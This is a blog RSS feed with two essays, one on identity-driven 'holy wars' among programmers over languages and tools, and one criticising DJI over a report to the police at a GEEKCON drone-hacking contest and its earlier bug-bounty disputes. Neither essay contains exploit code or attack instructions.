<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/rss-style.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/"><channel><title>Chongxi&apos;s Coffee House</title><description>Coffee, code and night. A table for thoughts beyond the information flood.</description><link>https://xice.cx/en/</link><language>en</language><atom:link href="https://xice.cx/en/rss.xml" rel="self" type="application/rss+xml"/><lastBuildDate>Sun, 08 Nov 2026 08:26:13 GMT</lastBuildDate><generator>Astro RSS</generator><item><title>Why Do Programmers Wage Holy Wars Over Programming Languages? A Structural Analysis of Techno-Tribalism</title><link>https://xice.cx/en/posts/Techno-Tribalism/</link><guid isPermaLink="true">https://xice.cx/en/posts/Techno-Tribalism/</guid><description>Behind every programming-language holy war, distro feud and framework rivalry, the real stakes were never technical. This essay proposes the concept of Techno-Tribalism and dissects the full identity structure of developer communities across three layers: tool-self fusion, motivated reasoning and tribal defense mechanisms.</description><pubDate>Sun, 01 Nov 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Every so often, a developer forum erupts into war.&lt;/p&gt;
&lt;p&gt;Python versus JavaScript, which is worse; whether Rust will replace C++; whether Arch Linux users understand Linux better than Ubuntu users; whether Vim or Emacs is the endgame of editors. The debate is fierce, the participants numerous, and the threads last far longer than any meaningful technical discussion. They routinely run to hundreds of posts, the rhetoric growing increasingly heated; each one ends with mutual blocking or a moderator locking the thread — only to start all over again in the next thread.&lt;/p&gt;
&lt;p&gt;A bystander could easily conclude: these people are wasting their time.&lt;/p&gt;
&lt;p&gt;But that conclusion is itself wrong. They are not discussing technology; technology is merely the vehicle. They are doing something much older: &lt;strong&gt;defending identity&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;I call this phenomenon &lt;strong&gt;Techno-Tribalism&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;It is not a runaway state of technical discussion but a stably functioning social structure: technology choices serve as totems, tool identification marks the boundaries, and tribes form with a strong in-group/out-group consciousness; when the tribe is threatened, that consciousness activates systematic defense mechanisms. Understanding it requires starting from the beginning.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Let&apos;s begin with a thought experiment.&lt;/p&gt;
&lt;p&gt;Suppose someone asks you: Python or Go, which is better?&lt;/p&gt;
&lt;p&gt;A meaningful answer would require at least the following information: How large is the system? How big is the team, and what is the average skill level? What order of magnitude of performance are we talking about? How many years will this system need to be maintained, and by whom?&lt;/p&gt;
&lt;p&gt;Without that information, &quot;Python or Go, which is better&quot; is an unanswerable question, because &lt;strong&gt;the question itself is incomplete&lt;/strong&gt;. Comparing languages without any scenario constraints is like comparing two cars without knowing the road or the purpose of driving: what you are really comparing is the totem in the speaker&apos;s head.&lt;/p&gt;
&lt;p&gt;Yet the vast majority of language debates in technical communities erase every constraint from the outset and step straight into the arena of &quot;which is better.&quot;&lt;/p&gt;
&lt;p&gt;This move is the &lt;strong&gt;precondition&lt;/strong&gt; for Techno-Tribalism to operate.&lt;/p&gt;
&lt;p&gt;Because once a concrete scenario is introduced, the discussion becomes conditional and the conclusion becomes relative — and relative conclusions cannot support identity. Identity requires unconditional correctness: &lt;strong&gt;my choice is good, and good under all circumstances&lt;/strong&gt;. So the debate must take place in a vacuum. In a vacuum, victory can be pure, and the totem can be sacred.&lt;/p&gt;
&lt;p&gt;Erasing the scenario is the first move of Techno-Tribalism.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;II. Conclusion First, Evidence Later&lt;/h3&gt;
&lt;p&gt;The normal path of reasoning is: observe phenomena, analyze evidence, reach a conclusion.&lt;/p&gt;
&lt;p&gt;The actual path of Techno-Tribalism is: I use Python; I identify with the Python community; Python is good; then go find evidence to prove it is good.&lt;/p&gt;
&lt;p&gt;Cognitive science calls this motivated reasoning. The conclusion comes first; the evidence is decoration added afterward. Its function is not to discover the truth but to support a position already held.&lt;/p&gt;
&lt;p&gt;This process is almost entirely unconscious. No one says to themselves, &quot;I&apos;ll decide Python is good first, and then go look for evidence.&quot; They sincerely believe they are doing objective analysis. But if you watch closely how they handle counterexamples, a pattern emerges: any evidence that supports their position is accepted; anything that does not is explained away.&lt;/p&gt;
&lt;p&gt;You bring out a benchmark, and they say the test scenario is wrong; you bring an engineering case, and they say the scale is different; you cite a paper, and they say academia is divorced from practice; you point out a known flaw, and they say that flaw never comes up in real use.&lt;/p&gt;
&lt;p&gt;Each rebuttal, taken in isolation, has some merit. Benchmarks can indeed be designed; engineering cases do have context; academia is indeed at some distance from engineering. But when the same person applies these rebuttals systematically to any unfavorable evidence, they are not performing cognitive correction — they are performing &lt;strong&gt;cognitive defense&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;More precisely: they are not looking for the truth; they are eliminating threats. And they do not know they are doing it.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Once a person has invested time, learning costs, career choices and social circles in something, that thing stops being merely a tool. It becomes &lt;strong&gt;part of their self-narrative&lt;/strong&gt;. This process is gradual and unfolds in several stages.&lt;/p&gt;
&lt;p&gt;The first stage is &lt;strong&gt;choice&lt;/strong&gt;. You choose Python. At this stage it is still just a tool, and you know it has strengths and weaknesses.&lt;/p&gt;
&lt;p&gt;The second stage is &lt;strong&gt;investment&lt;/strong&gt;. You spend hundreds of hours learning, read a lot of documentation, write a lot of code, run into problems, solve them, and accumulate experience. You begin to feel capable of &quot;getting things done with Python.&quot;&lt;/p&gt;
&lt;p&gt;The third stage is &lt;strong&gt;community&lt;/strong&gt;. You join the Python community, get to know some people, take part in discussions, perhaps contribute code, and gain some standing there. You begin to feel like &quot;a Python person.&quot;&lt;/p&gt;
&lt;p&gt;The fourth stage is &lt;strong&gt;fusion&lt;/strong&gt;. At some point you are no longer &quot;a person who uses Python&quot; but &quot;a Python developer.&quot; The label has become one of the ways you describe yourself. The boundary between tool and self has blurred to the point of being indistinguishable.&lt;/p&gt;
&lt;p&gt;By the fourth stage, criticizing Python becomes a criticism of you: you made the wrong choice, invested in the wrong direction, wasted time in the wrong community. This is no longer a technical discussion; it is a direct threat to your sense of self-worth.&lt;/p&gt;
&lt;p&gt;I gave this process a formal name: &lt;strong&gt;Tool-Self Fusion&lt;/strong&gt; — the cognitive boundary between the tool (器) and the self (我) disappears, the tool becomes an extension of the self, and an evaluation of the tool becomes equivalent to an evaluation of the self.&lt;/p&gt;
&lt;p&gt;Path dependence plus sunk cost is the material foundation of tool-self fusion. The deeper the investment, the tighter the binding, and the higher the cost of loosening its grip. Someone who has used Vim for ten years finds it harder to accept &quot;actually, an IDE is pretty good too&quot; than someone who has used it for one year, because the former has invested more of themselves in that choice. Questioning the tool is questioning their judgment over the past ten years — and the person who made those judgments.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;When individual tool-self fusions aggregate, a tribe forms.&lt;/p&gt;
&lt;p&gt;The structure of a techno-tribe is closely isomorphic to that of any tribal structure in human history. It has a common totem — a language, a framework, a tool; an origin myth — &quot;Linus created Linux in his spare time&quot;; an in-group/out-group distinction — &quot;real programmers use Vim&quot;; an elite hierarchy — core contributors, evangelists, veteran users; initiation rites — a manual Arch Linux install, configuring Neovim from scratch; and heresy trials — &quot;You&apos;re still on Python 2?&quot; &quot;You use an ORM? That means you don&apos;t understand databases.&quot;&lt;/p&gt;
&lt;p&gt;The function of this structure is to maintain group cohesion. The clearer the in-group/out-group distinction, the stronger the identification inside the group. So a techno-tribe &lt;strong&gt;needs heretics, needs enemies&lt;/strong&gt;, needs a continuous external threat. Language holy wars are the tribe&apos;s normal operating state. Without opposition there is no boundary; without a boundary there is no belonging.&lt;/p&gt;
&lt;p&gt;The Linux distro community is an excellent case study for observing this structure, because its technical differences are small enough to be almost negligible. For the vast majority of use cases, the practical functional gap between Arch and Ubuntu is minuscule. Yet the identities formed around them have strikingly different cultural temperaments: Ubuntu is &quot;for beginners,&quot; Arch is &quot;for people who really understand Linux.&quot;&lt;/p&gt;
&lt;p&gt;The core of Arch user identity is the &lt;strong&gt;ascetic narrative&lt;/strong&gt;: I configured everything by hand, I understand every component, I didn&apos;t rely on any defaults, I chose the hard path. This narrative serves a status function: by voluntarily taking on suffering, one buys an elite identity within the tribe.&lt;/p&gt;
&lt;p&gt;This explains why the Arch community reacts so strongly to &quot;I installed it with the archinstall script.&quot; From a technical point of view, the result of installing with a script or by hand is exactly the same. But from a tribal point of view, using the script skips the initiation rite — it is like claiming to be an adult without having completed the coming-of-age ceremony. It is a transgression of the tribal boundary, and it must be corrected.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Techno-Tribalism has one property that makes it harder to see through than other forms of identity politics: &lt;strong&gt;it wears the cloak of rationality&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Sports fans know that their support for a team is emotional. When challenged, a fan will say, &quot;I just like this team, so what?&quot; That is a kind of honesty: they admit that what they are doing is emotional investment, not rational analysis.&lt;/p&gt;
&lt;p&gt;When a techno-tribalist is challenged, what they say is, &quot;You don&apos;t understand technology.&quot;&lt;/p&gt;
&lt;p&gt;The difference is crucial. The fan&apos;s response defines the nature of the discussion: this is emotional preference, and it needs no rational justification. The techno-tribalist&apos;s response claims that this is a rational judgment, and that the other person simply lacks the capacity to understand it.&lt;/p&gt;
&lt;p&gt;This claim can stand because the tech world has a deep-rooted self-conception: &lt;strong&gt;we are rational people, we let the data speak, we don&apos;t get emotional like ordinary people&lt;/strong&gt;. Programmers deal with rigorous logic and verifiable systems, and the profession itself reinforces a self-narrative of &quot;I don&apos;t make irrational mistakes.&quot;&lt;/p&gt;
&lt;p&gt;But this self-conception becomes the biggest blind spot.&lt;/p&gt;
&lt;p&gt;There is a concept in cognitive science called identity-protective cognition: when information threatens self-conception, what the brain launches is not analysis but an immune response, as fast and automatic as the body&apos;s transplant rejection response. The key is that this process happens below the level of consciousness. What the person experiences is not &quot;I am defending myself&quot; but &quot;I am analyzing, and then I find that the other person&apos;s argument has holes.&quot;&lt;/p&gt;
&lt;p&gt;The more someone believes they are rational, the weaker their defenses against this process. Because they will not question whether their conclusion comes from motivated reasoning — they are certain they do not have that problem. And that certainty is precisely what lets motivated reasoning operate more smoothly, more thoroughly, and with less chance of being interrupted from outside.&lt;/p&gt;
&lt;p&gt;The result: some of the smartest people in tech are also some of the hardest to persuade rationally. The sharper the intellect, the stronger the capacity to construct a case for an existing conclusion, the more sophisticated the motivated reasoning, and the more it resembles genuine rational analysis. To outsiders, they really do seem to be reasoning. To themselves, they really are reasoning.&lt;/p&gt;
&lt;p&gt;But they are not reasoning. They are defending themselves.&lt;/p&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;I&apos;ve eaten more salt than you&apos;ve eaten rice.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This line — a Chinese proverb — has countless variants in the tech world. &quot;I&apos;ve been developing for twenty years — I&apos;ve seen this kind of thing far too many times.&quot; &quot;You&apos;ve only used Python for two years; come back and talk to me when you&apos;ve written a hundred thousand lines.&quot; &quot;That approach sounds great, but it simply won&apos;t run in practice — I&apos;ve been burned by it.&quot;&lt;/p&gt;
&lt;p&gt;On the surface, these words offer experience as a reference. In reality they are doing something entirely different: &lt;strong&gt;trading time invested for epistemic authority, then using that authority to end the conversation&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Its logical structure is: I have spent more time on this than you, therefore my judgment is more credible than yours, therefore you should accept my conclusion, therefore the discussion is over.&lt;/p&gt;
&lt;p&gt;This structure has two fatal flaws.&lt;/p&gt;
&lt;p&gt;The first is &lt;strong&gt;equating quantity of time with quality of cognition&lt;/strong&gt;. Having eaten a lot of salt does not mean you understand salt. Having used C++ for twenty years may mean only that you spent twenty years repeating the same thought patterns. The accumulation of experience requires a precondition: that you actually reflected on your experience and corrected course along the way. Experience without reflection leads to deeper path dependence, not cognitive growth.&lt;/p&gt;
&lt;p&gt;The second is &lt;strong&gt;assuming the direction of experience is correct&lt;/strong&gt;. Twenty years of experience rests on certain assumptions; if those assumptions were flawed to begin with, then the more experience is built on them, the more entrenched the bias becomes and the harder it is to correct. Someone who has spent twenty years circling a local optimum may, on certain specific questions, genuinely be a worse judge than a newcomer who has thought through the underlying logic.&lt;/p&gt;
&lt;p&gt;But neither flaw is the point.&lt;/p&gt;
&lt;p&gt;The point is that &quot;I&apos;ve eaten more salt than you&apos;ve eaten rice&quot; is not an epistemic statement at all; it is a &lt;strong&gt;power statement&lt;/strong&gt;. Its function is not to argue but to terminate. What it says is: this discussion ends here; my status is not open to question.&lt;/p&gt;
&lt;p&gt;A line like this almost always appears precisely when the speaker can no longer defend their position on the merits. When the arguments run out, they switch to seniority. It is a signal that the discussion has failed, but it is packaged as an authoritative pronouncement. Recognizing this switch is one of the most reliable indicators of whether a conversation is still worth continuing.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Rust is one of the clearest examples of Techno-Tribalism in recent years, and deserves a separate dissection.&lt;/p&gt;
&lt;p&gt;Rust itself is a language with real merits. Memory safety, zero-cost abstractions, a powerful type system, an excellent toolchain — these are verifiable technical properties. This must be said clearly at the outset, because the analysis of Techno-Tribalism does not depend on whether the totem itself has value. A genuinely valuable tool can just as easily become a tribal totem, and often, precisely because of its real merits, the myth is harder to see through.&lt;/p&gt;
&lt;p&gt;Over the past few years the Rust community has made a leap: from &quot;Rust is a valuable systems programming language&quot; to &quot;all future systems software should be rewritten in Rust,&quot; and then to &quot;not using Rust is making a mistake.&quot;&lt;/p&gt;
&lt;p&gt;This is a leap of pure faith.&lt;/p&gt;
&lt;p&gt;Rust&apos;s learning curve is steep, and the ownership system takes considerable time to truly master. This is inherently a property that calls for trade-offs, but in the Rust community&apos;s narrative it has become an asset: precisely because it is hard, it proves the competence of those who use it. This is structurally identical to the ascetic narrative of Arch Linux: &lt;strong&gt;difficulty was converted into a source of status&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;So &quot;learning Rust is painful&quot; became &quot;learning Rust is a form of self-cultivation&quot;; &quot;I learned Rust&quot; became &quot;I am a better programmer&quot;; &quot;using Rust in a project&quot; became &quot;I am doing the right thing.&quot; The tool became proof of character.&lt;/p&gt;
&lt;p&gt;At the same time, the Rust community developed a full apparatus of heresy trials: using C++ is &quot;playing with fire,&quot; using Python is &quot;not taking performance seriously,&quot; using Go is &quot;choosing mediocrity.&quot; Anyone who criticizes Rust is by definition not making a technical point — they either &quot;haven&apos;t understood Rust&apos;s value yet&quot; or are &quot;too afraid of change.&quot;&lt;/p&gt;
&lt;p&gt;The ingenuity of this narrative is that it is self-sealing: any criticism can be explained as the critic&apos;s lack of ability or intellectual backwardness, rather than as a problem with the language itself. In philosophy, this structure is called an unfalsifiable proposition — &lt;strong&gt;no evidence can refute it, because every counterexample gets internalized as grounds for doubting the critic&lt;/strong&gt;. In religion, this structure is called faith.&lt;/p&gt;
&lt;p&gt;Rust is a good language. But the identity politics that has formed around it now has almost nothing to do with the language itself.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;There is another kind of person worth discussing on their own.&lt;/p&gt;
&lt;p&gt;They are not techno-tribalists in the usual sense, but whenever a constructive discussion appears, they surface, drop a single line — &quot;So what? What would that change?&quot; — and then leave.&lt;/p&gt;
&lt;p&gt;This posture looks like sobriety, but it is actually another form of Techno-Tribalism, only the totem has changed from a concrete language to an abstract &quot;having seen through it all.&quot;&lt;/p&gt;
&lt;p&gt;Most of them have gone through a recognizable trajectory: an early, intense desire to change things; then they hit a wall, became disillusioned, concluded that &quot;nothing works,&quot; and settled into that nihilistic position. Nihilism became a new identity: &lt;strong&gt;I am the one who has seen through everything; I am no longer deceived by any narrative.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This identity carries an internal demand: anything constructive that anyone proposes must be denied. Because if it worked, it would mean that giving up back then was not a matter of having no choice but an active choice. That is something they cannot accept.&lt;/p&gt;
&lt;p&gt;So what they refute is not your argument but &lt;strong&gt;the very fact that you are still doing things in earnest&lt;/strong&gt;. Your state of being poses a threat to them, because it reveals a possibility they closed with their own hands.&lt;/p&gt;
&lt;p&gt;As with techno-tribalists, their defense mechanism is not argument but dissolution: whatever you say is useless, nothing can change, effort is childish, seriousness is ridiculous. This is another form of cognitive immune response, only with the direction reversed: defending the meta-position that &quot;no totem is worth defending.&quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;This structure does not exist only in the tech world.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I chose the tech world as the entry point because it is easy to observe, not because the problem exists only here.&lt;/p&gt;
&lt;p&gt;The same structure exists wherever human groups form identities. In political discussion, the intensity of the left-right divide has long since decoupled from the complexity of any specific policy. In food culture, the opposition between vegans and meat-eaters is completely out of proportion to the actual disputes in nutritional science. In education, the fight over exam-oriented versus holistic education is most often a fight over class identity, not over pedagogy.&lt;/p&gt;
&lt;p&gt;The content does not matter; the structure is the same:&lt;/p&gt;
&lt;p&gt;People need belonging. Belonging needs a totem. The totem is internalized as identity. When identity is challenged, defense mechanisms activate. The defense is packaged in the rational language of the relevant field. So it looks like a discussion of concrete problems in that field, when in fact it is a defense of territory.&lt;/p&gt;
&lt;p&gt;The reason Techno-Tribalism makes this structure especially clear is that it has an explicit &quot;rational person&quot; self-narrative, and the tension between that narrative and its actual operation is unusually stark. Religious groups never claim to be fully rational; the irrationality of political groups can be openly acknowledged. But the tech world sincerely believes it is rationally discussing objective problems — which makes the contradiction between the structure and the self-narrative here the most undisguised, and the most worth dissecting.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;One last question: what use is knowing this structure?&lt;/p&gt;
&lt;p&gt;The first use is &lt;strong&gt;to stop wasting time&lt;/strong&gt;. Once you recognize that the other person is in a state of identity defense, you know that continuing to supply arguments is pointless. What their brain is responding to is not your argument but a threat signal. Offering better evidence will only trigger a stronger defense; it will not produce cognitive updating.&lt;/p&gt;
&lt;p&gt;The second use is &lt;strong&gt;to understand where persuasion actually happens&lt;/strong&gt;. Genuine cognitive updating does not happen in public debate, does not happen when someone is backed into a corner, does not happen when the other side produces irrefutable evidence. It happens in private, when there is no audience, when a person sits alone thinking. Public debate can at best plant a seed, but a seed does not need an audience or an opponent to sprout; it needs quiet and time.&lt;/p&gt;
&lt;p&gt;The third use, and the most fundamental: &lt;strong&gt;use it to examine yourself&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The structure described in this article is not a &quot;them&quot; problem. Everyone has totems in some domain, everyone has tool-self fusion to varying degrees, everyone has a threshold that triggers an immune response. The only differences are the degree of self-awareness and how much of one&apos;s judgment this structure has taken over.&lt;/p&gt;
&lt;p&gt;What does genuine technical judgment look like? It comes after the fact, is conditional, and is willing to revise its conclusions when the scenario changes. It does not need a language to always be good, does not need its own choices to always be right, does not need to confirm its self-worth by belittling other tools.&lt;/p&gt;
&lt;p&gt;Recognition cannot eliminate this structure, but it changes how the structure operates: from unconscious autopilot to a process that can be observed, questioned, and selectively interrupted.&lt;/p&gt;
&lt;p&gt;That is already the most meaningful thing one can do.&lt;/p&gt;
</content:encoded><category>开发</category><category>社会评论</category><author>Chongxi</author></item><item><title>DJI&apos;s Arrogance and Its Price: The GeekCon Police Report</title><link>https://xice.cx/en/posts/dji/</link><guid isPermaLink="true">https://xice.cx/en/posts/dji/</guid><description>How one technology company spent nine years systematically destroying the security community&apos;s trust in it.</description><pubDate>Tue, 27 Oct 2026 16:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;How a technology company spent nine years systematically destroying the security community&apos;s trust in it&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Prologue: October 24, 2026, Shanghai&lt;/h2&gt;
&lt;p&gt;It was Programmer&apos;s Day.&lt;/p&gt;
&lt;p&gt;In Shanghai, GEEKCON 2026 was underway — one of China&apos;s top white-hat hacking competitions. Its predecessor, GeekPwn, was founded in 2014, and its founding team DARKNAVY had already pulled off the world&apos;s first remote hack of a Tesla back in 2015. Over the past decade and more, contestants have broken into Apple devices, Teslas, Android phones and all kinds of robots. Breaking the most iconic smart devices in front of a live audience is the event&apos;s whole point.&lt;/p&gt;
&lt;p&gt;This year&apos;s drone attack-and-defense segment was called &quot;Runaway Drone.&quot; The judges first used GPS spoofing to force a consumer drone into a virtual no-fly zone and lock it down completely. Contestants then had to find an unknown vulnerability, seize back control and break through the flight restriction. The proposition being tested was a hard one: once low-level control is lost, do the safety mechanisms that constrain flight fail along with it?&lt;/p&gt;
&lt;p&gt;Halfway through the event, the police arrived.&lt;/p&gt;
&lt;p&gt;This was not part of the show. These were real police officers.&lt;/p&gt;
&lt;p&gt;Someone had reported the event on the grounds of &quot;illegal hacking instruction and soliciting others to crack devices.&quot; Several contestants and judges were taken away for questioning, and the schedule was suspended on the spot. According to security expert Tan Xiaosheng, the person who filed the report was &quot;a drone manufacturer with an extremely high market share that had been cracked.&quot; Given that DJI has held more than 70% of China&apos;s consumer drone market for years, the internet immediately guessed the same company: DJI.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Wang Qi, chairman of the GEEKCON organizing committee, erupted in public: &quot;I&apos;ve been doing this for so many years, and I&apos;ve never met anyone this fucking stupid!&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Tan Xiaosheng was equally blunt: &quot;Instead of solving the problem itself, solving the person who found the problem has become the &apos;best practice&apos; at plenty of companies. It&apos;s truly sad.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That evening, the organizers announced the Shanghai stop was closing. The security world erupted. But for anyone familiar with DJI&apos;s history, this was not an accident. It was another rerun.&lt;/p&gt;
&lt;h2&gt;Background&lt;/h2&gt;
&lt;p&gt;To understand how absurd this is, you first need to understand what level of event GeekCon is.&lt;/p&gt;
&lt;p&gt;GEEKCON was founded by DARKNAVY as a global non-profit platform for security geek technology. Since 2014 it has been held in Beijing, Shanghai, Macau, Singapore, Las Vegas and elsewhere. Huawei, Tencent Security, Ant and other leading Chinese tech companies have sponsored it for years — which is itself an endorsement of the idea that finding vulnerabilities early beats patching them after they explode.&lt;/p&gt;
&lt;p&gt;This is a public stage for top-tier security research. More importantly, GeekCon has clear responsible-disclosure rules: it never reveals vulnerability details from beginning to end, and it does not even publicly name the manufacturers of the devices that were cracked. In other words, before the police showed up, nobody had even said publicly whose drone had been cracked.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;At the same 2026 event, a vivo phone was cracked. vivo was a sponsor, and its security president was in the room. Nobody called the police. DingTalk was cracked, with an Ant Group executive present as an organizing-committee member. Nobody called the police. A Unitree robot was cracked. Nobody panicked. The only company that called the police was DJI.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The previous GEEKCON 2025 also featured drone attack-and-defense: contestants never touched the bodies of the drones, yet made two hovering drones lose control and crash while hijacking two others into a straight vertical climb. Nobody in the industry thought that was a problem, because that is simply how security research works.&lt;/p&gt;
&lt;h2&gt;The Finisterre Incident&lt;/h2&gt;
&lt;p&gt;To understand why the security community&apos;s first reaction was &quot;DJI again, of course,&quot; we need to go back to 2017.&lt;/p&gt;
&lt;h3&gt;How the Bug Bounty Started&lt;/h3&gt;
&lt;p&gt;In August 2017, the U.S. Army ordered a full halt to the use of DJI products, citing &quot;cyber vulnerabilities.&quot; Under public pressure, DJI hastily launched a bug bounty program, offering rewards ranging from $100 to $30,000.&lt;/p&gt;
&lt;p&gt;In the words of security researchers afterward, the program &lt;em&gt;looked more like a PR move than a genuine attempt to improve security.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Four Days After Launch&lt;/h3&gt;
&lt;p&gt;Security researcher Kevin Finisterre contacted DJI. In DJI&apos;s own public GitHub repository, he found something almost too painful to believe:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DJI&apos;s wildcard SSL private key (*.dji.com), AWS account credentials and firmware AES encryption keys were all sitting in plaintext in a public code repository. And they had been sitting on GitHub for two to four years.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;What did that key mean? With the SSL private key, you could impersonate DJI&apos;s official website. With the AES firmware key, you could decrypt flight-control firmware and bypass every geofence and flight restriction. With the AWS credentials, you could access user data stored on DJI&apos;s servers.&lt;/p&gt;
&lt;p&gt;Following that key, Finisterre reached unencrypted user flight logs, passport scans, driver&apos;s licenses and government IDs — including flight logs from military and government domains. He put together a 31-page report and submitted it to DJI.&lt;/p&gt;
&lt;p&gt;DJI confirmed the vulnerability fell within the bug bounty scope and offered the maximum reward: $30,000.&lt;/p&gt;
&lt;h3&gt;After 130 Emails&lt;/h3&gt;
&lt;p&gt;Then came a long tug of war. DJI produced an NDA for Finisterre to sign, requiring that he never publicly claim he had discovered the vulnerability. For a security researcher, public attribution is worth no less than cash. The condition was hard to accept. Finisterre consulted lawyers; four of them independently reached the same conclusion: the contract was &quot;extremely risky&quot; and &quot;apparently drafted in bad faith to silence him.&quot;&lt;/p&gt;
&lt;p&gt;After more than 130 emails, DJI&apos;s legal department sent a letter citing the Computer Fraud and Abuse Act (CFAA) — a U.S. federal law that can carry criminal liability.&lt;/p&gt;
&lt;p&gt;Finisterre saw it as a threat. He gave up the $30,000 and went public with the whole story. He published an 18-page PDF titled &quot;Why I Walked Away From DJI&apos;s $30,000 Bounty,&quot; which spread widely through the security community.&lt;/p&gt;
&lt;p&gt;DJI&apos;s response: publicly call Finisterre a &quot;hacker&quot; and characterize his actions as &quot;unauthorized access.&quot;&lt;/p&gt;
&lt;h3&gt;Another Researcher Had It Worse&lt;/h3&gt;
&lt;p&gt;In the same month the Finisterre story was unfolding, another researcher, Sean Melia, reported the Heartbleed vulnerability, SQL injection flaws and a serious defect that allowed full access to the purchase-order database. By DJI&apos;s own bounty standards, that was worth at least $16,000. DJI offered him &lt;strong&gt;$500&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Melia refused and told DJI: &quot;You shouldn&apos;t be running a bug bounty program at all.&quot;&lt;/p&gt;
&lt;h3&gt;What Happened to the Employee&lt;/h3&gt;
&lt;p&gt;The DJI employee who uploaded the keys to GitHub was named Li Zhanbin. He later emailed Finisterre saying he had uploaded them by accident. In January 2018, DJI fired him. In 2019, he was sentenced to &lt;strong&gt;six months in prison&lt;/strong&gt; and fined 200,000 yuan.&lt;/p&gt;
&lt;p&gt;Look at the structure: the DJI employee who put the keys online in plaintext went to prison; Finisterre, who found and reported them, was threatened and publicly shamed; Melia, who did nothing wrong, was offered a token $500. DJI itself, the company that actually committed the serious security failure, suffered nothing.&lt;/p&gt;
&lt;h2&gt;Why the PR Was So Terrible&lt;/h2&gt;
&lt;p&gt;DJI is a company with a top-tier engineering culture, yet its public relations look as if they were entirely outsourced to amateurs. There are probably a few structural reasons.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The Chinese market never demanded good PR.&lt;/strong&gt; DJI is essentially a monopoly at home, and consumers have no alternative. In that environment, the PR department&apos;s muscle memory is to suppress, not to communicate. When something goes wrong, seal it, threaten, call the police. That occasionally works in China, but it is a disaster in the security community, because programmers are the last people who respond well to that.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;It treats silence as arrogance.&lt;/strong&gt; Apple rarely explains itself publicly either, but Apple&apos;s product design is its best PR. DJI copied the posture and forgot the precondition: every decision has to withstand review. Claiming to care about security while reporting white-hat hackers to the police is a contradiction you cannot leave unexplained.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;The core issue is that DJI has never really lost.&lt;/strong&gt; From its founding in 2006 to today, its products have consistently been the best in the world, its market share has never been shaken, and its competitors have died one after another on the beach. A company that spends twenty years in that environment develops a dangerous belief: everything we do is right, because we always win. Every time it &quot;suppresses&quot; a problem, the wrong lesson is reinforced. Every narrow escape makes the next one more reckless.&lt;/p&gt;
&lt;p&gt;At GeekCon, DJI had a perfect PR opportunity: &quot;Our products are so good that even top hacking competitions use them as target practice.&quot; Instead it chose the approach that generated the most hostile coverage, turning a story it could have bragged about into an industry-wide joke. This is the &lt;strong&gt;Streisand Effect&lt;/strong&gt;: when Barbra Streisand sued a photographer to remove an aerial photo of her home, the photo went from six views to hundreds of thousands. DJI just did it again.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Drones are not phones. There is no &quot;good enough&quot; budget alternative. Flight-control stability, battery life and video transmission quality degrade in ways users feel immediately, and the cost can be a crashed aircraft or an injury. The industry naturally concentrates around the strongest technical player; there is no room for low-end substitutes. DJI&apos;s competitors — Yuneec, Zero Zero, Parrot — are either dead or barely breathing.&lt;/p&gt;
&lt;p&gt;In a market with one dominant player, DJI knows its user base very well: people who care about security were never going to buy from it, and people who buy from it do not care about security. So from a business-logic standpoint, calling the police may even have seemed rational.&lt;/p&gt;
&lt;p&gt;This is the price of dominance, the price of no competition: it protected DJI, and it also removed the pressure that would have forced DJI to become better.&lt;/p&gt;
&lt;h2&gt;The Deepest Consequence&lt;/h2&gt;
&lt;p&gt;The deepest consequence of the GeekCon incident is a broken chain of trust.&lt;/p&gt;
&lt;p&gt;When a white-hat hacker reports a vulnerability to a vendor, it is essentially a gentleman&apos;s agreement: I help you find the problem, you fix it and give me credit or a reward, and everyone is happy. DJI has now publicly declared: play this game with us and we will put you in jail.&lt;/p&gt;
&lt;p&gt;From now on, a researcher who finds a DJI vulnerability has only three options: throw it away, publish it, or sell it. Reporting it to DJI has disappeared from the table.&lt;/p&gt;
&lt;p&gt;An RCE vulnerability that can remotely control a drone is worth a great deal on the exploit market. Researchers used to wrestle with &quot;I&apos;d feel bad selling this.&quot; DJI has now solved that psychological burden for them: if I can be arrested for entering a legal competition, why do I owe you any moral restraint?&lt;/p&gt;
